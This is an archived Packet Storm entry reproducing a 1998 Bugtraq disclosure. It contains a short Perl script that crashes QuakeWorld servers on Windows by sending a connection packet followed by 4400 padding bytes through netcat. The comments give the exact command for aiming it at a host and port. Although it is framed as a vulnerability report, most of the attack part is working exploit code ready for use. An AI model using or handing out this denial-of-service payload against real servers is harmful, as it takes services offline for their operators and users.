qwcrash.pl

1999-08-17T00:00:00
ID PACKETSTORM:15279
Type packetstorm
Reporter Packet Storm
Modified 1999-08-17T00:00:00

Description

                                        
                                            `Date: Wed, 4 Nov 1998 16:30:18 +0100  
From: Paul Boehm <pb@INSECURITY.NET>  
To: BUGTRAQ@netspace.org  
Subject: quakeworld/win32 DoS  
  
the output of the attached perl script, when piped through netcat,  
crashes quakeworld for win32. As i don't have any win32 debuging  
tools and the problem doesn't occur under linux i can't further  
investigate this. Zoid (idsoftware) has been mailed some weeks ago,  
but he didn't look very interested...  
  
cya,  
paul  
  
--  
.----------------------------------------------------------------------.  
| mail: pb@insecurity.net :: url: http://paul.boehm.org |  
| irc: infected :: pgp: finger pb@insecurity.net | pgp -fka |  
\.....Linux is like a wigwam - no windows, no gates, apache inside..../  
  
  
#!/usr/bin/perl  
# qwsvwin32-crasher by infected@cia.at  
#  
# usage : ./qwcrash | nc -u host port  
# result: qwsv for win32 should exit with: ERROR: NET_GetPacket: Unknown error  
# reason: ? (winsock?)  
#  
#  
  
print chr(255) x 4 . "getchallenge\n";  
print chr(255) x 4 . 'connect 28 26914 1960732995  
"\noaim\0\msg\1\rate\2500\team\bla\topcolor\3\bottomcolor\11\skin\bla\pmodel\33168\emodel\6967\name\bla"' . "\n";  
print "x" x 4400;  
  
`